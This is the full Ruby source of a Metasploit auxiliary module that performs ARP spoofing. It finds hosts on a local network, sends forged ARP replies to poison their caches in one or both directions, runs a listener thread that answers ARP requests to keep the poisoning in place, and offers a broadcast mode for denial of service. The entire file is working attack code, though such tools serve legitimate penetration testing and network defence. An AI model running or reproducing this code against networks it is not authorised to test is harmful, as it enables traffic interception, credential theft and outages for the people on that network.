##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Capture
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'ARP Spoof',
      'Description' => %q{
        Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
      },
      'Author' => [
        'amaloteaux', # msf rewrite
        # tons of people
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['OSVDB', '11169'],
        ['CVE', '1999-0667'],
        ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
      ],
      'DisclosureDate' => '1999-12-22', # osvdb date
      'Notes' => {
        'Stability' => [OS_RESOURCE_LOSS],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => []
      }
    )

    register_options([
      OptString.new('SHOSTS',	[true, 'Spoofed IP addresses']),
      OptString.new('SMAC',	[false, 'Spoofed MAC address']),
      OptString.new('DHOSTS',	[true, 'Target IP addresses']),
      OptString.new('INTERFACE',	[false, 'The name of the interface']),
      OptBool.new('BIDIRECTIONAL',	[true, 'Spoof also the source with the destination', false]),
      OptBool.new('AUTO_ADD',	[true, 'Auto add new host when discovered by the listener', false]),
      OptBool.new('LISTENER',	[true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
    ])

    register_advanced_options([
      OptString.new('LOCALSMAC',	[false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
      OptString.new('LOCALSIP',	[false, 'The IP address of the local interface to use for hosts detection']),
      OptInt.new('PKT_DELAY',	[true, 'The delay in milliseconds between each packet during poisoning', 100]),
      OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
      # This mode will generate address IP conflict pop up  on most systems
      OptBool.new('BROADCAST',	[true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
    ])

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
  end

  def run
    open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
    @netifaces = true
    if !netifaces_implemented?
      print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
      @netifaces = false
    end
    @spoofing = false
    # The local dst (and src) cache(s)
    @dsthosts_cache = {}
    @srchosts_cache = {}
    # Some additional caches for autoadd feature
    if datastore['AUTO_ADD']
      @dsthosts_autoadd_cache = {}
      if datastore['BIDIRECTIONAL']
        @srchosts_autoadd_cache = {}
      end
    end

    begin
      @interface = datastore['INTERFACE'] || Pcap.lookupdev
      # This is needed on windows cause we send interface directly to Pcap functions
      @interface = get_interface_guid(@interface)
      @smac = datastore['SMAC']
      @smac ||= get_mac(@interface) if @netifaces
      raise 'SMAC is not defined and can not be guessed' unless @smac
      raise 'Source MAC is not in correct format' unless is_mac?(@smac)

      @sip = datastore['LOCALSIP']
      @sip ||= get_ipv4_addr(@interface) if @netifaces
      raise 'LOCALSIP is not defined and can not be guessed' unless @sip
      raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)

      shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
      @shosts = []
      if datastore['BIDIRECTIONAL']
        shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
      else
        shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
      end

      if datastore['BROADCAST']
        broadcast_spoof
      else
        arp_poisoning
      end
    rescue StandardError => e
      print_error(e.message)
    ensure
      if datastore['LISTENER'] && @listener
        @listener.kill
      end

      if capture && @spoofing && !datastore['BROADCAST']
        print_status('RE-ARPing the victims...')
        3.times do
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if datastore['BIDIRECTIONAL']
              @srchosts_cache.keys.sort.each do |shost|
                smac = @srchosts_cache[shost]
                next unless shost != dhost

                vprint_status("Sending arp packet for #{shost} to #{dhost}")
                reply = buildreply(shost, smac, dhost, dmac)
                inject(reply)
                Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
              end
            else
              @shosts.each do |shost|
                next unless shost != dhost

                vprint_status("Sending arp request for #{shost} to #{dhost}")
                request = buildprobe(dhost, dmac, shost)
                inject(request)
                Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
              end
            end
          end
          next unless datastore['BIDIRECTIONAL']

          @srchosts_cache.keys.sort.each do |shost|
            smac = @srchosts_cache[shost]
            @dsthosts_cache.keys.sort.each do |dhost|
              dmac = @dsthosts_cache[dhost]
              next unless shost != dhost

              vprint_status("Sending arp packet for #{dhost} to #{shost}")
              reply = buildreply(dhost, dmac, shost, smac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
            end
          end
        end
      end
      close_pcap
    end
  end

  def broadcast_spoof
    print_status('ARP poisoning in progress (broadcast)...')
    loop do
      @shosts.each do |shost|
        vprint_status("Sending arp packet for #{shost} address")
        reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
        inject(reply)
        Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
      end
    end
  end

  def arp_poisoning
    lsmac = datastore['LOCALSMAC'] || @smac
    raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)

    dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
    @dhosts = []
    dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }

    # Build the local dest hosts cache
    print_status('Building the destination hosts cache...')
    @dhosts.each do |dhost|
      vprint_status("Sending arp packet to #{dhost}")

      probe = buildprobe(@sip, lsmac, dhost)
      inject(probe)
      while (reply = getreply)
        next if !reply.is_arp?

        # Without this check any arp request would be added to the cache
        next unless @dhosts.include? reply.arp_saddr_ip

        print_good("#{reply.arp_saddr_ip} appears to be up.")
        report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
        @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
      end
    end
    # Wait some few seconds for last packets
    etime = Time.now.to_f + datastore['TIMEOUT']
    while (Time.now.to_f < etime)
      while (reply = getreply)
        next if !reply.is_arp?

        next unless @dhosts.include? reply.arp_saddr_ip

        print_good("#{reply.arp_saddr_ip} appears to be up.")
        report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
        @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
      end
      Kernel.select(nil, nil, nil, 0.50)
    end
    raise 'No hosts found' if @dsthosts_cache.empty?

    # Build the local src hosts cache
    if datastore['BIDIRECTIONAL']
      print_status('Building the source hosts cache for unknown source hosts...')
      @shosts.each do |shost|
        if @dsthosts_cache.key? shost
          vprint_status("Adding #{shost} from destination cache")
          @srchosts_cache[shost] = @dsthosts_cache[shost]
          next
        end
        vprint_status("Sending arp packet to #{shost}")
        probe = buildprobe(@sip, lsmac, shost)
        inject(probe)
        while (reply = getreply)
          next if !reply.is_arp?

          next unless @shosts.include? reply.arp_saddr_ip

          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
          @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end
      # Wait some few seconds for last packets
      etime = Time.now.to_f + datastore['TIMEOUT']
      while (Time.now.to_f < etime)
        while (reply = getreply)
          next if !reply.is_arp?

          next unless @shosts.include? reply.arp_saddr_ip

          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
          @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
        Kernel.select(nil, nil, nil, 0.50)
      end
      raise 'No hosts found' if @srchosts_cache.empty?
    end

    if datastore['AUTO_ADD']
      @mutex_cache = Mutex.new
    end

    # Start the listener
    if datastore['LISTENER']
      start_listener(@dsthosts_cache, @srchosts_cache)
    end
    # Do the job until user interrupt it
    print_status('ARP poisoning in progress...')
    @spoofing = true
    loop do
      if datastore['AUTO_ADD']
        @mutex_cache.lock
        if !@dsthosts_autoadd_cache.empty?
          @dsthosts_cache.merge!(@dsthosts_autoadd_cache)
          @dsthosts_autoadd_cache = {}
        end
        if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
          @srchosts_cache.merge!(@srchosts_autoadd_cache)
          @srchosts_autoadd_cache = {}
        end
        @mutex_cache.unlock
      end
      @dsthosts_cache.keys.sort.each do |dhost|
        dmac = @dsthosts_cache[dhost]
        if datastore['BIDIRECTIONAL']
          @srchosts_cache.keys.sort.each do |shost|
            @srchosts_cache[shost]
            next unless shost != dhost

            vprint_status("Sending arp packet for #{shost} to #{dhost}")
            reply = buildreply(shost, @smac, dhost, dmac)
            inject(reply)
            Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
          end
        else
          @shosts.each do |shost|
            next unless shost != dhost

            vprint_status("Sending arp packet for #{shost} to #{dhost}")
            reply = buildreply(shost, @smac, dhost, dmac)
            inject(reply)
            Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
          end
        end
      end

      next unless datastore['BIDIRECTIONAL']

      @srchosts_cache.keys.sort.each do |shost|
        smac = @srchosts_cache[shost]
        @dsthosts_cache.keys.sort.each do |dhost|
          @dsthosts_cache[dhost]
          next unless shost != dhost

          vprint_status("Sending arp packet for #{dhost} to #{shost}")
          reply = buildreply(dhost, @smac, shost, smac)
          inject(reply)
          Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
        end
      end
    end
  end

  def is_mac?(mac)
    if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
    else
      false end
  end

  def buildprobe(shost, smac, dhost)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
    p.arp_opcode = 1
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def buildreply(shost, smac, dhost, dmac)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = dmac
    p.arp_opcode = 2 # ARP Reply
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def getreply
    pkt_bytes = capture.next
    return if !pkt_bytes

    pkt = PacketFu::Packet.parse(pkt_bytes)
    return unless pkt.is_arp?
    return unless pkt.arp_opcode == 2

    pkt
  end

  def start_listener(dsthosts_cache, srchosts_cache)
    if datastore['BIDIRECTIONAL']
      thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
    else
      thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
    end
    # To avoid any race condition in case of , even if actually those are never updated after the thread is launched
    thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
    thread_args[:localip] = @sip.dup
    @listener = Thread.new(thread_args) do |args|
      # one more local copy
      liste_src_ips = []
      if args[:BIDIRECTIONAL]
        args[:shosts].each_key { |address| liste_src_ips.push address }
      else
        args[:shosts].each { |address| liste_src_ips.push address }
      end
      liste_dst_ips = []
      args[:dhosts].each_key { |address| liste_dst_ips.push address }
      localip = args[:localip]

      listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
      listener_capture.setfilter('arp[6:2] == 0x0001')
      loop do
        pkt_bytes = listener_capture.next
        next unless pkt_bytes

        pkt = PacketFu::Packet.parse(pkt_bytes)
        if pkt.is_arp? && pkt.arp_opcode == (1)
          # check if the source ip is in the dest hosts
          if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
             (args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
            vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
            reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
            3.times { listener_capture.inject(reply.to_s) }
          elsif args[:AUTO_ADD]
            if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
               (pkt.arp_saddr_ip != localip)
              @mutex_cache.lock
              print_status("#{pkt.arp_saddr_ip} appears to be up.")
              @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
              liste_dst_ips.push pkt.arp_saddr_ip
              @mutex_cache.unlock
            elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
                  !liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
              @mutex_cache.lock
              print_status("#{pkt.arp_saddr_ip} appears to be up.")
              @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
              liste_src_ips.push pkt.arp_saddr_ip
              @mutex_cache.unlock
            end
          end
        end
      end
    rescue StandardError => e
      print_error("Listener Error: #{e.message}")
      print_error('Listener Error: Listener is stopped')
    end
    @listener.abort_on_exception = true
  end
end